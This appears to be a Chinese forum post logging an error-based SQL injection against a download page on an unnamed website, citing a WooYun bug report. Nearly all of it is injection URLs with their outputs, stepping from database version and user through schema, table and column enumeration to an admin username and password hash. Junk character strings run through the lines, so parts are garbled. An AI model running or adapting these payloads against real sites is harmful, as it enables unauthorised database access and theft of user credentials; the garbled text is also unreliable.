http://www.wooyun.org/bugs/wooyun-2010-016665 i8 n7 ~) V" Y* F% z
: S- W! ?1 Z' O/ c6 I& e- o之前想找个测试 没想到这有 可以测试下做个记录而已
0 M& \9 L6 t5 D& h" g
9 B6 ]4 Q; F8 E2 \* N5 t$ whttp://xxoo/download/downpage/netarea/id/1600003'+and+(select+1+from(select+count(*),concat(0x7c,(select+(Select+version())+from+information_schema.tables+limit+0,1),0x7c,floor(rand(0)*2))x+from+information_schema.tables+group+by+x+limit+0,1)a)%23/wapc/5000_0005_003
7 N6 x1 h$ h3 I$ `
, l* d1 I$ l7 ^) c9 |0 ]/ a8 A) F/data0/htdocs/leqi_new/app/myapp.php5 p7 s" x1 Q2 T1 n# n( o
1 F* G! z* Q' R1 `- z: o% W
或者% B! E6 _ Y3 V% R( D
7 r7 p# Z( j( B0 Y
/**********version()**********/ 5.1.49-log
7 a: U+ T- x& {; A" ~7 Khttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+version()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003, K. [" E5 [1 P
8 n& B: H# T, |; E1 n+ `- M6 }! I2 ^/**********user()**********/ 1 y6 C: V. ^5 ]& _3 K( @( x
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+user()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
+ E% @, l1 X- t' P% j/ Q7 ~) }, k. K
/**********database()**********/ leqi1 k5 K3 F: q1 s( i/ R# k
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+database()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
4 I$ i) N1 M8 ]$ I4 c6 ]) c1 o
0 s: ?: Z. R. e/**********limit依次递归爆库**********/. n% l3 ~. s/ ~$ _
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
/ ~# P# X7 v$ o# ~2 s [% oinformation_schema
( A$ t N. [3 c7 M' y) Jhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
% i( Q, a+ R4 e" r# G4 [ M9 uleqi; f2 A* ?1 Z! x9 y) F* b
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+2,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003, c7 U7 c( ~1 o
test
3 h+ X, c, T7 _/ Z; R2 k. c) A" H$ @1 p: a9 k2 i; [
/**********limit依次递归爆表名**********/
7 c, {: e- G4 r" a( Ohttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+table_name+from+information_schema.tables+where+table_schema=0x6C657169+limit+200,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_0031 x# a; J, d/ s
users3 ^2 k0 W ?6 L, y4 r
. a$ ?" I' W x. }
/**********limit依次递归爆字段名**********/
4 ~0 x5 E' J0 \/ dhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+column_name+from+information_schema.columns+where+table_schema=0x6C657169+and+table_name=0x7573657273+limit+3,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003& {' E7 v: n+ o& n3 a
user_id,username,nickname,passwd,group_id9 N! ?8 g# T" b$ X6 J
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+group_id+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
: a& R) }7 {( ~- P2 _ z p/wapc/5000_0005_003' W+ b( X3 R% l9 d8 Q& ]& A
11 214 i c; ?9 M- I2 x% l9 t
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+user_id+from+users+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
( K/ R. m* l8 ~6 W7 Z/wapc/5000_0005_003( }. |0 ]2 `6 |- \" r
11 341 351 361, G% w$ U/ V" D6 r* N8 c. \
/**********爆数据**********/
! z/ p- k& {# Y; v+ chttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+username+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
. n D2 j0 A4 madmin- h/ [' I) Z; B( C2 q3 S
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+passwd+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
' ?6 v* K+ Q, U. t, M7 Z' G6a8b4574ca231eb8bd52764d4978ffcd* f9 s- W3 [0 j. B
' F9 ?3 R6 i |# s1 S |. o
; o! F0 k" f, T' ~2 b0 h- j
|